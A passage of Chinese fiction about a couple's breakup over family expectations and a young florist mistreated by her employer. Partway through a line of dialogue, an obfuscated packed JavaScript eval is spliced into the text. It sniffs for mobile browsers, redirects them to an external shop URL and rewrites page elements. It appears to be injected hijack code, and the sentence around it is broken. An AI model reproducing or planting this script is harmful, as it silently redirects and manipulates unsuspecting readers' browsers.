谈恋爱好开心。文佳兴是个给人能带来很多快乐的人,是个精力旺盛的人。他对小动物很耐心,也愿意操心,所以后来分开,一起养的猫和狗都给文佳兴养了——宠物跟着他,可以放一万个心。他追求杨树奇的时候,送了杨树奇各种自己做的和《水獭小宝贝》相关的纸艺、纸雕作品;他教杨树奇折纸,鼓励她按自己想法设计和创作,还把杨树奇所有的作品都收集起来。杨树奇认为没有必要把所有做的东西都留着,她觉得有一些也不是很完美。文佳兴则认为不完美也可以留下来——这是美好的,是杨树奇个人历史的一部分;留下来的所有作品,如果杨树奇愿意一直折,到时候可以开个展览,不一定要有多少人看,给自己看,给在意的人看,或者给他们的小朋友看——如果孩子愿意欣赏。 他们做了很长时间的朋友。杨树奇是什么时候决定和文佳兴在一起的呢?某天杨树奇因为工作压力焦躁不安,他们一起吃饭的时候,她莫名烦躁。文佳兴看出来了,他说:“qiqi看我,你猜我可不可以用脚把这杯柠茶喝下去?”说着就从人字拖里把脚抽出来。杨树奇笑着阻止说道:“你怎么傻乎乎的?万一你是汗脚,玻璃把手夹不住,杯子掉下去砸破你的脚——哼,等着去打破伤风针吧。” “qiqi你好聪明。不过,你也傻乎乎的。不要不开心了嘛,我以为你骂我一下会放松一点。我们可以不要那么逼自己,可以寻求帮助的哇。”文佳兴慢慢说着。和他在一起很放松,很放松。他是一个会自己创造快乐的人,也许在开心变得越来越难得的时候,人不知道自己是被开心和放松吸引还是被这个人本身吸引;或者说开心和放松就是这个人的一部分,那为什么不可以喜欢的就是这个人本身呢? 杨树奇想起了她以为的他们第一次见面,在车里很安静的尴尬时刻。文佳兴尝试找话题,问她:“杨小姐你是北方人吗?你好高哦。” “我是中部的,不南不北。” “没事没事,粤地以北都是北。哈哈哈……”文佳兴回着,“杨小姐,高跟鞋细跟会不会让你很脚痛?我车里有拖鞋你可以暂时换一下的。额,是新拖鞋,你不要介意啊。我39码,你肯定能穿。” “我的脚41码。”杨树奇冷淡地回应。 “这件风衣真的好好看,我爸前年去华亭探亲,在店里一眼相中,是以老板亲友七折价买的。”文佳兴试着找共同话题。 “哦,因为不是新款,我的是内卖会一折拿的。”杨树奇看了眼文佳兴。 “杨小姐,你长得好像《红楼梦》里的探春小姐。我外婆是江苏人,看这个剧很喜欢探春小姐。她们好像是一个地方的人。” “探春小姐的演员是江西人。”杨树奇已经不太想回应他。 当时想着怎么碰到了这么个倒霉男的,相处久了发觉这个倒霉男的还有点可爱,何况他还长得有几分像张智尧,或许是情人眼里出西施,不在于他长得像不像谁,在于你愿意把他往理想面容里框。 那是平静又安心的三年。他像冬天里的一条柔软亲肤的围巾,让你心里很熨帖;他是夜里你脱衣服不会起静电、嗤啦响着出碎光的,那件贴切又合身的毛衣。他说不会痛,就绝不会让你痛,你会信任他,接纳他,温柔地抱住他。你能靠在他肩头痛哭失常,不排斥甚至好奇很世俗、很世俗的生活。 谈恋爱的终点是结婚吗?喜欢小孩子和小动物的两个人,都觉得自己可以养好小孩子——他俩把家里的宠物照顾得很好,让他们更有信心和期待。文佳兴设计了很多婚礼和小宝宝主题的纸品,初遇时,杨小姐不也是买的这两类卡片吗? 恋爱三年,双方父母见了面。 杨树奇的爸爸早年在单位里上班,在当年下海潮里停薪留职,后来一直折腾着做生意,最远去过俄罗斯。折腾来折腾去也有些积蓄,最后在老家守着个百货店,日子也过得还算自在;她母亲一直是在单位里工作。 文佳兴家主业是做服装,还有一个玩具厂和食品厂。他爷爷的兄弟家六十年代在港城做服装发家,帮欧美那边牌子代工,后来生意越做越大,也投资了不少物业,九十年代就来内地投资建厂了。他们家在九十年代得到了港城亲戚的帮扶,也把服装生意做起来了,给很多日本客户代工做针织产品。千禧年,他爸爸陪港城的他堂叔去华亭旅游,堂叔觉得内地女装市场很大,当机立断在那边发展生意;港城那边不太同意,最后拗不过堂叔,给了堂叔一笔钱由着堂叔折腾,好在堂叔后来做起来了,还做得特别好,证明了他自己。堂叔为了规避风险,这家公司的法人至今是文佳兴爸爸。 两情相悦,双方父母好像也没什么好反对的。杨家觉得:对方是生意人嘛,风险大,不过家大业大也不是小作坊,也还好;男孩子礼貌周到,俩孩子感情不错,以后能一起好好过日子。文家认为:对方家里虽然不是做生意的嘛,但是父母亲和亲近亲属都受过大学教育,她父母和亲属的工作在她家本地也算稳定体面;女孩子本身也还不错,俩孩子感情也好,结婚当然没什么问题。 只是,聊到杨树奇老家是复州后,男方父亲提议:女方父亲到男方家族在复州的食品公司挂职一年,提升下社会地位,方便孩子们体面结婚。男方家2003年在复州优惠招商引资政策下,拿地投建了食品厂,生产的是饼干和小面包等点心类零食,最近有个新厂子刚投产,是生产冰淇淋蛋筒外壳。她父亲想女儿顺利结婚,犹豫一下也接受了。她母亲想着,要是去外地挂职,多少还有点顾虑;本地挂职,还算方便,准亲家也没太为难他们。杨树奇心情有点复杂,怎么都不问问她的意见就谈妥了?文佳兴好像也没觉得有什么问题。 那时候文佳兴已经从纸品公司离职,回到家里工作了。家里一直没太限制他——他是家里独子,念书是在离家很远的北方城市,毕业了就业选的是自己喜欢的工作,没有直接回家里工作。他是个平和的人,但真的非常想证明自己。在纸品公司能按自己想法做设计很有限,所以他私下才那么热爱自己动手做各种东西。碰到行情和市场不好,家里有意让他回家里公司帮忙,他权衡下来同意了。他相信自己在家里也可以做好,他很想证明自己。 “可以不要我爸挂职你家新开的食品公司吗?”杨树奇问道。 “你有什么顾虑吗?我爸妈没有恶意。你爸爸挂职一年,对你爸爸也没有坏处,如果是要伯父去外地我肯定是很反对的。”文佳兴不解。 “不是我顾虑什么。我不喜欢这样。我就这样和你结婚,我的家庭有什么问题吗?我爸没有必要去提升什么社会地位。我不觉得我爸守着杂货店有什么羞耻——正当赚钱、合理合法。我也不觉得我嫁给你,我的家人和家庭会让你家在港城的亲戚面前抬不起头来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988376|193651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——也许这是你们家顾虑的。”杨树奇抬起头,坚定地看着文佳兴。 “不是说提升社会地位什么的。就是一种资源交换,就像我们家很多年前被港城亲戚带起来,我们家亲戚互相帮忙,大家一起努力,一起证明自己,一起让生活变得更好。结果不是更好了吗?我不太理解,你可以告诉我你顾虑的点。”文佳兴尽力解释着。 杨树奇不知道说什么,她有一股无名火没处发。她不知道为什么好像变成是她的错——如果表达不清楚,说不出来,难道就要承受这一切吗?她推开门准备出去,回头对文佳兴说:“你爸妈不是在双方父母见面当天才知道我老家是复州的——我之前几次去你家,你爸妈就知道了,他们没少问我的事。”她说完就重重地带上门走了。 杨树奇的爸妈在她高中时吵过很严重的架:妈妈摔东西,摔破了她爸爸的头,那次她以为她家要散了。那时候,她爸爸的几个同学做别墅KTV生意赚了不少钱,劝说她爸爸入股一起做,杨爸爸一直拒绝,减少了和这几人的来往。 杨妈妈那段时间很抑郁,也许是更年期生理变化让人身体免疫力下降,可能更多的是周围同事们的攀比。杨妈妈的同事们跟风过新潮的节,炫耀着各自老公送自己的礼物。杨妈妈不明白,自己业务也挺好的,大家是同事,评价体系不应该是自己的业务能力吗?怎么就一致认为自己是办公室那个最可怜、连个新的金镯子都没有的女人?有一次工作上和别人起了冲突,工作上的对骂她可以理解,可是对方骂的是:“难怪你老公对你不好,你不配,难怪你老公没出息,赚不到钱,也不给你钱。”一个女人被不被尊重,是要看她老公给她花多少钱?取决于她老公有没有按世俗评价体系里的所谓爱的表现来爱她?老公给的爱的礼物是对女性最好的恩赐? 杨树奇听到她妈妈讲的时候,可以想象出一个女性形象——那个女士一只手的手背奋力拍着另一只手的手掌心,奋力跳起脚骂着。她本以为在单位上班的人会体面些,或者会端着些、装着点。可能只要是人,人性都是一样的吧。 那次和杨爸爸吵架,杨妈妈不解:反正百货店也没有多挣钱,为什么不能挣快钱?别人都能做的生意,杨爸为什么不能做?那个别墅KTV又没有涉黄涉毒,怎么就不能做了?杨爸觉得好笑,如果正规生意那么好做,那别墅KTV怎么赚钱的? 杨妈妈一直诉说着中年人的压力:双方的父母都有退休金,但是老人们生了大病怎么办,独生女树奇马上要上大学了,以后多得是要花钱的地方,能赚快钱的时候为什么不挣?杨妈妈不理解,杨爸爸到底在莫名其妙地清高什么。 当时,杨树奇在一边劝说她妈妈:“可是,您的同事们在你很专业认真地做事情的时候,不也是评价您假清高吗?夫妻应该互相信任,爸爸的错是没有完全对你坦诚、平等地与你商量,他绝不是错在了清高。”之后她劝她爸爸不要什么事情自己先做决定——家人之间要有共同面对的信任,她最讨厌那种遇到事情不和家里说,然后想着自己解决后再告诉家人,幻想着家人会尊敬他、心疼他的人。真正的家人,只会在知道后痛苦:你为什么要一个人扛?你为什么不把家人当家人,大家一起承担?你为什么这么自恋? 杨爸不愿意入股别墅KTV,他听到过不少传闻。在十多年后,当地这类私密的别墅KTV产业,被专项整治。 杨妈妈经过此事后,坚定了自己绝不想着赚快钱、不做自己不够了解事务的决心。在多年后老同学所在单位一众人员涉及网络赌博、几乎波及大多数熟人的情况下,杨妈妈除了对老同学的惋惜更多的是一种庆幸。 杨树奇和家里商量后,她父母亲拒绝了文家让她父亲挂职文家食品工厂的提议。本来她母亲不太理解——本地挂职,对家里生活又没什么影响;后来在她坚持下,父母都同意了。其实她父母心里也有一个答案,只是不愿意相信罢了。 杨树奇和文佳兴沟通过,她问他:“我们可以不靠家里结婚。工作这么久,我们都有存款。你如果想继续做设计,我们可以一起出资从小工作室做起。我知道你想证明自己,你也一直很勤力。或者你不做设计,你和我一起做外贸——我客户和资源也积累了一些。我们自己做,权责我们找律师咨询划分清楚,我也不会占你便宜。” 文佳兴问她:“让伯父挂职,是有什么问题吗?你可以同我讲,qiqi。” “Chris,你真的不明白吗?我可以同你讲什么呢?你觉得你很有诚意,我觉得我们可以建立属于我们的生活,属于我们两个人的生活和事业,和你父母还有我父母没有关系。不是我嫁到你家,也不是你加入我们家,是我们建立起了一个你和我的生活,和我姓杨、你姓文都没有关系。” 文佳兴更加不懂了,说道:“我不明白,用自己家里的资源有什么可耻的吗?用自己家里资源是什么下作的人吗?你加入我家,我加入你家,这样有什么问题吗?” “用家里的资源当然不可耻,但是我们说的和这个真的没关系。”杨树奇问,“你现在快乐吗?” “你这样让我很不快乐。”文佳兴答,“qiqibb,我父母和我的家庭都没有想过为难你,他们对我是开明的,我们是很真诚地希望你加入我们家。” “qiqibb?可是Chris,你真的不明白吗?有没有可能,你父母从来就没想过让我们结婚?他们早就知道我家在哪里,我的职业,也早就了解我父母。其实我怎样,我的家庭怎样,他们并不在意,重要的是他们早就安排好了你的人生。你现在可以顺利地按他们的期望,在你们家里证明他们想要的你。”杨树奇忍住了悲伤的情绪继续说道,“对,我现在就是敢这样讲——我,是你离开家庭掌控,证明自己的唯一途径!” 文佳兴眼含泪水摇摇头,说道:“你觉得想要批评什么人的时候,你要知道,这个世界上的人并非都具备你禀有的条件。” “你怎么敢对我说这句话?你怎么好意思对我说这句话!”杨树奇震怒,故事终于还是从舞蹈教室的开始走向了结局。 杨树奇拿好包准备离开,她擦干眼泪告诉自己不要哭——世间的缘分早就标好了尺度,聚散离合本是常态,她努力争取过,她问心无愧也不会后悔。 她最后对文佳兴说:“Chris,其实你明白的。但是你不是女性,你又不会那么明白。” 那故事的结局是什么呢?文佳兴不愿意分手,但是他好像也不能做什么。没多久,文家到越南建服装厂,派文佳兴去负责一切。心理距离拉开了,物理距离也更远了——一个人从另一个的生活里消失是很快的,都淡了,了无痕迹。文佳兴去越南没多久,家里就为他安排了相亲,是比他家早两年在越南建厂的同行前辈家的小女儿,两家都很满意。他结婚是在两年后,结婚摆酒请了杨树奇,她没去,托莞邑本地的共同友人送了红包和祝福。 车窗开着,夜晚的风让人清醒又轻松。石唯突然想到了什么,补充了一块拼图在这张往事画卷上。 Ada是石植和杨树奇的高中同学。某年七夕,石植在杨树奇的花店里帮忙打玫瑰刺快累死了——不会包花总,会打杂吧?抱着一定要帮到好友的信念,石植的手快被刺扎烂了,当时市场惯用的红玫瑰品种还不是现在基本无刺的优良品种。晚上忙完后,杨树奇请石植去吃火锅。石植刷着手机看到了Ada发的朋友圈:Ada在港城参加婚礼,新郎新娘的小猫小狗也被装扮了一番,小猫穿着婚纱、小狗穿着西装还带了绿色的领结。石植觉得小狗和小猫好熟悉,这俩小家伙就是杨树奇之前用了好几年的社媒头像上的小猫和小狗啊!她觉得眼睛像突然掉了睫毛进去一样疼,把手机递给杨树奇看。 Ada的港城老板就是文佳兴的堂叔。杨树奇在Ada公司内卖会想买没买到的那件标着2009aw的样衣,Ada买给自己的那位版师朋友了——是婚礼的新娘。 后来石植问过Ada:“新郎证明自己了吗?”Ada回的是:“他太太证明了自己。” Ada的版师朋友懂业务、精事务,非常专业。她接手家里厂子后,把原创女装做起来了,做生意比家里的哥姐都强,基本就是她管理一切。她本职也一直没落下——她家裤子做得特别好,她每出一款新裤子都会打版试样七八次,力争完美才确定最终样。她家越南那边的厂子也是她一点一点做起来的。 原来不够勇敢那去喜欢爽利和有勇气的人就好了;原来证明自己可以通过结婚传播啊!原来摆脱家庭、创造自己,不是只有一种途径;按照家里的安排再造自己,也是一样的。这不是家里给安排好了第二次投胎机会嘛——按家里喜欢的方式,让家里摆脱不了自己,不也是一种双赢的反向摆脱嘛!在发展中促转变,在转变中谋发展,厉害!佩服!石植觉得,她看到的这些异性恋好像也没有几个蛮有种的,也许软弱是人类的本性。 关于文佳兴新生活的一切,杨树奇并不好奇,看到小猫和小狗在照片里看上去还是那么健康、漂亮,她很欣慰。 杨树奇和文佳兴最后一次沟通不是拿包走了,她手上的那个帆布包是文佳兴做的。那时候她去港城旅行,逛了家古着店,一直看灯具、对衣服不感兴趣的杨树奇被一件日本八十年代的外套吸引。她喜欢那件绿色外套边缘用精致织带编织缝制的一圈蝴蝶结,但是那件衣服不适合她,她只在店里给文佳兴淘了一款蓝色欧泊雕刻兔子图案的袖扣、一条品牌标图案很可爱的领带。回到莞邑后,随口说了下这次经历,没过一个星期,也不知道文佳兴从哪里淘来的日本老丝带和布料——他给杨树奇做了一个帆布手提包,边缘是一圈和港城那家店里衣服一样缝制方法的织带蝴蝶结。 杨树奇送给文佳兴的那条领带的品牌图标是这样的:一只从美丽的褶皱袖口伸出的手紧握着一只从西装里的衬衫袖口伸出的手,这是爱人相握的手。文佳兴也很喜欢那条领带,他说会一直握着杨树奇的手。他们热恋的时候讨论过,如果不做自己正在做的工作,要做什么呢?文佳兴说开个店吧,杨树奇问他开什么店,他说他也不知道,但是店的招牌一定要大大的——他画图设计两只缠绕在一起的手,恋人的手,他和杨树奇的手。 五年前,因为不可抗力中断营业几个月,全市花店都卯足了劲准备5月20日那个节日,希望好好做能赚到钱。那天是周三,赵秋特地调休去了夏口帮杨树奇,她安排订单配送和协助花艺师找所需的材料工具。花店里有个蝴蝶结包挂在架子上装工具杂物,赵秋帮杨树奇找扎带,哪哪儿都找不到,杨树奇就把这个包里的东西全部倒出来,包也翻过来。赵秋不经意看到帆布包里面口袋绣着“qiqi forever”,于是她指给杨树奇看。 杨树奇翻开包的口袋看了一眼,口袋的背面还绣着一颗红色小桃心、两只挨着头的简易小兔子轮廓。 但她没有停下,很快就把包丢在脚边,从一堆杂物里捡起扎带继续忙碌订单去了。 9. 最不该被伤害的人 从杨树奇那边回来的第二天,和赵秋约好见面的表妹萱萱打电话给她,表达了临时有事的歉意,并表示改天再找赵秋商量事情。 一周后的周六,赵秋在家又烧了排骨,石唯过来和她一起吃午饭,这时表妹萱萱来了电话。 萱萱比赵秋小六岁,是赵秋大姑妈的女儿。她在高中毕业的那个暑假,找了份兼职——在防护用品厂子里打包防护服和口罩。等到大学录取通知书来了的时候,她妈妈已经欢天喜地准备好了她上学要用的物品,她却怎么也不肯去念书了。 萱萱恋爱了,对方比萱萱大十岁,是那个防护用品厂子里的正式工人。 赵秋的大姑妈很无措。她的一生都只知道要努力生活,认真干活,然后供孩子们读书。她不理解女儿怎么就不肯念书了,更生气那个大女儿十岁的男人怎么会对才高中毕业的女儿“下手”。 萱萱从来都不喜与母亲交流,她只觉得自己的妈妈软弱。母亲总是对她说那种废话:“你不要担心,我怎样都会供你读书的,砸锅卖铁也供你和弟弟读书,肯定把你们供出去。”这种话只会让萱萱感到更痛苦和沉重,而母亲总是想向萱萱证明自己的决心。 赵秋的大姑妈不知道该怎么办,找来娘家亲戚一起劝萱萱。等赵秋的爸爸、二姑、小姑都赶到那边,轮番劝说下来,大家发现了更糟糕的事情——萱萱怀孕了。 小姑娘还想着要结婚。一家人找到厂子里去的时候,那男的死不认错,说大不了结婚认栽。他声称是萱萱主动要和他谈恋爱,工友们怕家属们动手,还替他说话,说他是个乐于助人的好人,对萱萱那帮暑期工很是照顾。 最后,这男的辞职跑了,杳无音讯。萱萱没有生下孩子,也没有再念书。赵秋的大姑妈一直自责,怨自己不该同意萱萱打暑期工,怪自己对萱萱关心不够。萱萱身心受到重创,搬出家独自生活,租了间小房间,找了份工作。 家里的亲属提起萱萱,多是慨叹大姑妈可怜,说萱萱傻。末了还会来一句:“这事要是说怨谁,萱萱只能最怨她自己,怪不到别人头上。”提起萱萱时表现得最不屑的,却是赵秋的另一个表妹——二姑家的女儿芸芸。 芸芸那时候对赵秋提起萱萱也不避讳:“萱萱真是蠢得冒烟了!她还想结婚,还想生小孩,是不是有毛病哦?大姨也真是的,又冇本事去闹,居然让那男的跑了。萱萱又没念书,又出了这事,这一生算完了。人蠢就会踩雷。” 赵秋这时候会制止芸芸,说芸芸说这种话实在太刻薄了。更多时候人遇到问题是运气不好,和这个人本身是什么样反而没那么相干;选错了路,就重选,找亲友帮助,不至于一生就完了;至于踩雷,批评和指责别人,并不会让自己安全避开所有的麻烦。芸芸不解赵秋干嘛要护着萱萱,她也听不进去,但也就不再说了。 那时候赵秋去看过萱萱,也劝过她争取复读再念大学。但是看着躺在床上身体都没恢复、只是默默流泪的妹妹,赵秋意识到自己说什么都是残忍——她提供不了实际的帮助,还这样说教,和那些批判萱萱的长辈们又有什么区别? 几年后赵秋结婚,想要萱萱和芸芸当伴娘,家里亲属们都不说话,气氛中透着些微妙的情绪。她想不通:萱萱是自己的妹妹,怎么就不能做伴娘了?芸芸表示:“绝不和萱萱一起当伴娘。”后来是萱萱婉拒了赵秋的邀请,伴娘换成了另一个小表妹心心。 萱萱这几年一直在工作:最开始在小饭馆打杂,后来去了比较高端的花园餐厅前厅当服务员。那家餐厅有花艺师定期来换前台花和包厢花;也有园艺公司的师傅过来养护整理绿植,有时候萱萱会协助对方整理。萱萱勤快讨人喜欢,闲聊时园艺养护师傅对她说:“定期来换花的那个小李,是我们公司的花艺师,他以前也是餐馆的,我们公司花艺师多咧。小李手艺好,干出来了,薪水多,有自由;其他的人也有薪水不行的。”说者无心,但萱萱听进去了——她一直想着如果自己不在餐馆工作可以做什么。她那时候去参加赵秋婚礼,赵秋的手捧花很漂亮,一问才知道:是赵秋开花店的朋友做的,她想着自己也能有家属于自己的小铺子就好了。 萱萱打电话咨询了赵秋。赵秋问询杨树奇的意见后,鼓励萱萱可以找专业的机构培训学习试一下——看学过后还有没有从事这一行的意愿,并表示自己可以支持她培训的费用。萱萱婉拒了赵秋的好意:工作几年她辛辛苦苦也攒了点钱。萱萱学习后发现自己很喜欢,抱着美好的期待踏入了花艺行业,去了花店当店员。虽然辛苦,她做得还是比较开心的,比在餐厅开心一点。 这次萱萱打电话给赵秋,也是为了工作的事。萱萱在一家连锁花店工作两年,那个品牌在这两年的大环境影响下,实在撑不住了,关闭了十多家店铺。萱萱想找新的出路,去了江城,找到了一家私人花店工作。老板娘在外人看来是个很健谈的人,看着还算和气,只是好像喜欢打量人——不过萱萱高兴找到了新工作,工资比在复州的时候多了两千块。可是,漫长的煎熬也是从这时候开始了。 店里只有老板和萱萱两人。萱萱每天从早九点工作到晚八点,从整理花材、养花换水、打扫卫生,到接待客人、制作订单、打样新品、社媒宣传,什么都做,也都做得来。她是抱着总有一天能开店的想法工作的,她相信自己。 萱萱租了花市一位做批发的老板娘家的一间房,和那位老板娘共用公共空间。这位房东和萱萱的老板也认得。 这家花店的花艺风格,萱萱很喜欢,想着可以跟老板学到东西;但时间久了,萱萱愈发觉得这工作不对劲。 老板吴媛追求品质,出品都过关。她这个人很喜欢一句话套一句话地探人的底,查户口似的问别人情况——在意隐私的客户大不了来一次就算了,大多客户觉得她健谈、东西品质也好,她还是积累了不少客户。吴媛可能是把萱萱当自己人,总是当着萱萱的面说客户或是自己“朋友”的一些私事。萱萱不喜欢这样,不觉得这些是她该知道的;更重要的是,她不理解怎么有人把所谓朋友的隐私,对她这种不相干的人用调侃的语气讲出来——别人的痛苦又不是他人的笑话和八卦。 吴媛还喜欢问萱萱家事,甚至是向萱萱打探花市房东的私事。萱萱都是糊弄着过去,也会回她:“你和红姐不是朋友嘛?你自己问她嘛,我不好当别人的代言人说别人的隐私。”这时候吴媛又会回:“我又没有别的意思,你太敏感了,我就问问。”萱萱认为自己的家庭情况又不会影响到工作,不理解老板这种做派,更不理解老板向她打探别人私事的意图。 晚上八点要下班,要是吴媛临时接了单子,绝不会让萱萱走。萱萱住的远,这边加班又不给加班费,时间久了她就提了意见。一起提的还有另外一件事:她想要每周固定一天假期,而不是哪天吴媛预估不忙就让自己哪天休息。为这事,吴媛和宣萱吵架了。吴媛表示,她的其他开花店的朋友都是不给店员固定休的,行规就是如此;至于加班费,不忙的时候自己也没有要萱萱加班吧?又不是每天加班,萱萱太计较了。萱萱觉得固定休是很正常的要求,他们吵过几次后,吴媛不情不愿地同意了固定休这件事。 吴媛多次打探萱萱有没有交过男朋友,萱萱从来不接茬,吴媛甚至说过:“连男朋友都没交过,不知道以后要便宜哪个男的哟!”萱萱生气脸色变了,还被说是开不起玩笑。 花店附近有家单位的男士在吴媛这边买花好几年,对吴媛印象不错,单位活动用花的订单经常给她。吴媛也经常请那位男士和他的一帮同事吃饭,来维护客户关系。有几次,吴媛一直拉着萱萱一起去,不管萱萱如何拒绝。萱萱态度强硬,吴媛倒生气了,连笑着带着开玩笑话语的“不知好歹”都出来了。萱萱不想和一群认识的男士吃饭,吴媛说是为她好,还说要帮她介绍男朋友。萱萱多次表明自己不需要被介绍男朋友,自己下班了的时间就是自己的,吴媛还是执着一有这种事情就拉着萱萱。后来萱萱明白了,自己的想法不重要,吴媛只是把她当人情,只是需要她去饭局当装饰品而已。 节假日的时候总是要熬整夜,萱萱不理解:那么多大花店也没有这样不眠不休吧,这边怎么就拉着人一直熬呢?节假日订单全部结束后,吴媛也不放萱萱走,要萱萱全部整理完店铺才能下班。都凌晨了,远超工作时间的工作时长,有什么是不可以第二天做的呢? 工资也总会推迟一周发。吴媛说自己一个人在江城做生意不容易,希望萱萱能心疼和理解她,还说自己和萱萱在这里都是外乡人,都没有亲友,她是把萱萱当朋友、当自己亲妹妹。 听到这种话,萱萱真的不知道说什么好。吴媛在店里总是电话联系这个哥那个姐的,都是觉得对自己有用的人;平时联络花店同行也不少,不管熟不熟,对方愿不愿意和她来往,她本着“伸手不打笑脸人”的原则,各种请吃饭,打探行业消息,人情往来没少花钱。 原来只有工资是可以拖的,被当妹妹就是自己人,自己人当然什么都好商量,要忍耐。是这样吗? 萱萱除了正常的工作内容,吴媛有朋友结婚需要花艺布置,她也会被叫去做这些活,算是义务加班。萱萱觉得这份工让她很疲惫,她不知道工作和生活的界限在哪儿,更让她无法忍受的是吴媛的言语打压。 吴媛总是贬低外面其他花店的花艺水平,质疑其他花店老板的人品,再顺带一提萱萱要是去了其他店什么也学不到,说萱萱技术不行。萱萱并不了解其他花店老板的人品,只是觉得背后议论自己交往不多的人的人品,还有通过贬低同行来抬高自己的这种行为让她很不适。她不想吴媛再问她隐私问题,也不想知道吴媛的隐私,希望吴媛不要再事无巨细地告诉她个人私事——她对吴媛的私人生活并不好奇。她想不通,怎么有人想通过说出自己私事来获取别人信任,以此打探出别人的隐私。她讨厌这一切,更讨厌吴媛还向自己房东打探有关自己的私事。 吴媛总是一边贬低萱萱,又一边买点奶茶和零食给萱萱。萱萱总是拒绝——她母亲有糖尿病,她也一直有意识地去控糖。吴媛很生气,认为萱萱不应该拒绝她的好意。 萱萱受不了吴媛总是前一天骂完她言语羞辱她,第二天又买点奶茶和从家里带点菜啊汤啊给她,再说几句“我把你当家人的”。听到这种话会让萱萱更生气:难道自己不仅要付出劳动辛苦工作,还要付出感情对吴媛感恩戴德?吴媛可是时常会说出“不知好歹”“给脸不要脸”“我就是喜欢别人看我不爽又打不死我的样子”这种话的呢! 她受不了吴媛太自恋。自己拒绝一些不合理的事情,正当讨论,就是被“给脸”了?那是不是为自己说话就是不要脸?上班又不是啥江湖武侠厮杀,照这样说下去,那下一句是不是要被说“敬酒不吃吃罚酒”?高高在上,还说什么当老板不容易,明明是该给的没给,总是搞些别人不需要的小恩小惠,在别人明确表达拒绝后还是按自己想法来,没有一点尊重。 她觉得自己和店里的剪刀没有两样,还被说“不知好歹”——她根本没有得到好,怎么就被指责为人“歹”了。萱萱想:店里的坂垣剪刀买回来贵,是被小心使用和维护的,我还不如剪刀呢! 在这边工作不到一年,萱萱觉得自己精神要崩溃了。她提前两个月就对吴媛提了离职,表示帮吴媛做完520节日就走。真做完了520节日,她把钥匙还给吴媛的时候,吴媛指责她不负责任。 吴媛说萱萱应该至少做完儿童节小节日和六月毕业季生意好的时段,不然自己一时半会去哪里找人来干活,并指责萱萱没有职业道德。萱萱生气了:提前两个月就讲好了,自己是好心才帮吴媛做520,不然按吴媛的说法,这一行就是没有很多福利,行规就这样,可她还没有说这一行都是提了离职当天就走呢!自己好心帮吴媛做完520,对方却觉得自己不负责任,两个月时间怎么不找人?自己都要走了还要被骂一顿。 这份工是这样结束的,萱萱很伤心,她想是不是自己没有守护好自己的边界,没有保护好自己。她再也不敢到私人铺子里打工了。她不在意吴媛在花市那边怎么说她不好的话,而是想以后怎么办,接下来要怎么规划自己的工作。 萱萱上周日没回复州见赵秋,就是还钥匙时被吴媛拉着扯了半天耽误了。赵秋很心疼她,说小作坊打工是最没保障的,安慰了萱萱后,她说去问一下同是这行的朋友再给萱萱回复。 石唯听到这些后,记起了自己高考完的暑假去参加赵秋的升学宴。当时,赵秋骑电动车接她,她因为流汗多大腿皮肤粘在电动车皮座上。萱萱那时候还是个小学六年级的孩子,那么细心地拿着小喷壶过来对着石唯的大腿喷水——因为石唯的腿被撕得痛到嗷嗷叫。听了赵秋的描述,石唯说可能知道是哪个老板娘了,杨树奇认得。石唯当初生病在家找杨树奇学了花艺,后续又去上了不同老师的课程。她没入鲜切花这一行,就是觉得正规的公司太少,大多花店就是私人小作坊,根本没有任何合理的工时和有保障的福利;如果不是自己当老板,很难有发展空间。她佩服萱萱想改变自己的勇气,以及努力去尝试的行动力。她建议赵秋赶紧找杨树奇咨询一下,看对萱萱下一步工作有没有什么建议,或者有没有什么同行业的工作机会介绍。 那年杨树奇和男友分手没多久,一直在考虑新的事业方向,她爸爸又突然脑出血住院了。她因此辞职回来的,和杨妈一起承担照护责任。三个月后杨爸基本恢复,杨树奇开始考虑自己的路该怎么走了。杨爸觉得拖累了女儿,对女儿之前的婚事也有了悔意。杨树奇表示一家人就是一起面对生活,没什么拖累不拖累的,很多事情重来还是会做一样的选择,让杨爸不要多想。在这期间,她终于考了因为各种琐事拖着一直没考的驾照——她想自己会开车还是很重要,家里父母年纪大了,有个头疼脑热情况不妙,总不能让他们自己开车去医院吧? 杨树奇在父亲住院期间,发现医院楼下花店的花束都不太好看,她跑了不同花店,观察下来发现花束款式和十多年前没太大没区别。之前公司产品研发部的几位花艺师负责开发各式婚礼仿真花艺产品,她联络了和她关系好的设计师,咨询了一些问题,并讨论了自己开店的想法。后来,她在对方的推荐下找了不同老师学习。行动力一向很强的她,在夏口把店开了起来。当时没有想太多,只想着先干了再说,运气不错,算是做起来了。 她是在一次外出学习时认识的吴媛,她们同样参加了花艺商业研习的小班课程。吴媛很活络,一副对每个人都感兴趣的样子,一去就加了大家的联系方式。她在江城市区一个不错的地段开店,知道杨树奇是同城同行后,表现得更加热情。小组作业时两人分到一组,吴媛很强势,一直否定杨树奇的想法,坚持按自己的思路走。杨树奇提出不如各自分开做,吴媛却表示自己是在商量,指责杨树奇太敏感。杨树奇认为讨论下去没有意义,直接找老师表明两人的设计方案分歧太大,无法达成一致。后来老师与两人沟通后,认为还是分开、各自按自己的想法和思路去做比较好。 课程结束回到夏口后,杨树奇总是收到吴媛的消息和电话,内容多是打探生意情况,比如问店里打算怎么安排节前备货之类,杨树奇一般也会回复这些信息。 吴媛很喜欢组织同行吃饭,杨树奇曾被她盛情邀请参加过。吃饭时,吴媛总是客气地称大家都是朋友,却又“侵略性”地刨根问底,打听各家花店的生意情况和店主的生活私事。大家讨论最近的流行趋势、有没有新的优质供货商、其他店家的八卦以及花鸟市场的各路消息,最后总是吴媛开心地去买单,不少店主都喜欢参加这样的饭局。 